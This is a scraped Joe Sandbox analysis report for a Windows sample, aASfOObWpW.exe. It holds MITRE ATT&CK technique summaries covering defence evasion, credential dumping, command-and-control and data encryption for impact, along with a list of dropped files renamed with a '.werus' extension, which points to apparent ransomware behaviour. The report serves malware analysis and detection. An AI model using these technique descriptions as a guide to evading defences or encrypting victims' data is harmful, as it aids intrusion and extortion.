Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.
Tactics:	Collection
Data Sources:	Logon Session: Logon Session Creation, Process: Process Access, Process: Process Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report aASfOObWpW.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\encrypted_wallpaper.bmp

C:\Users\user\AppData\Local\Temp\key_5621a09a-6865-4fe9-9682-1b2d95c65b31.pwd

C:\Users\user\AppData\Roaming\.curlrc.werus

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData.werus

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings.werus

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store.werus

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei.werus

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storek.werus

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav.werus

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav.werus

C:\Users\user\AppData\Roaming\Microsoft\Crypto\Keys\de7cf8a7901d2ad13e5c67c29e5d1662_9e146be9-c76a-4720-bcdb-53011b87bd06.werus

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk.werus

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Microsoft Edge.lnk.werus

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Shows Desktop.lnk.werus

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\File Explorer.lnk.werus

Windows Analysis Report
aASfOObWpW.exe

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre